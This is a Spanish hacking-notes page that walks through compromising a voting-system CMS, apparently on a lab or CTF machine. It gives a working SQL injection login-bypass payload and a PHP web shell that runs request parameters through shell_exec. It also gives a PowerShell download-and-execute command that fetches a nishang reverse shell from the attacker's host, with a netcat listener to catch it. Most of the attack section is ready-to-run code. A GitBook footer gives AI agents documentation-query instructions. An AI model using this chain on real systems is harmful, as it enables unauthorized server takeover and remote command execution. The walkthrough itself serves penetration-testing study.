> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/voting-system-cms-exploitation.md).

# Sistema de votación

## **Vulnerabilidad de inyección SQL (SQLi)**

Utilice `searchsploit` para buscar vulnerabilidades del sistema de votación e identificar el siguiente payload:

<figure><img src="/files/e09ca838e9acf2125b4b85da8ac1560a3d37f3f7" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/76132c4e7e7c3c2485b0dda393746265a479e74c" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Usa Burp Suite para acceder al panel de control.

<figure><img src="/files/ed4e123978229c1e422cfcdda779c12c86047aec" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/560c0918c6eb761f7df39e8854da9ed030c3c3a4" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de subida de archivos:

Una vez en el panel de control, crea un nuevo usuario y sube `cmd.php` para ejecutar comandos en el servidor:

<figure><img src="/files/ddb278f33447db67fbdb755655ebca69de806cff" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/32623e6511aef97254614d489283deb53859ad78" alt="" width="482"><figcaption></figcaption></figure>

El panel no aplica comprobaciones de seguridad, lo que permite la inyección de comandos como `whoami`. Prueba la conectividad con un comando ping:

<figure><img src="/files/36c75d5c75123324c48f6e75d1bdb1bec10f2968" alt=""><figcaption></figcaption></figure>

Comprueba si el objetivo puede enviar un ping.

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Recibir una respuesta confirma la ejecución de comandos en el objetivo.

<figure><img src="/files/c5ae0d257ee141f331d520baa9a58ce23d13b421" alt="" width="563"><figcaption></figcaption></figure>

**Ejecución de comandos PowerShell para una reverse shell**

Una vez confirmada la ejecución de comandos, aloja el `PS.ps1` script en la máquina del atacante.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Añade la siguiente línea al final del script:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/5134ac122d5a76ab115979926b9ffe1188f3b126" alt=""><figcaption></figcaption></figure>

Host `PS.ps1` con un servidor web:

```bash
python3 -m http.server 80
```

Luego modifica el comando para que apunte al servidor web del atacante:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Por último, inicia un listener en el puerto 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/c4b99ffdddba7c65955907aeb12a5cb05200bd99" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/voting-system-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
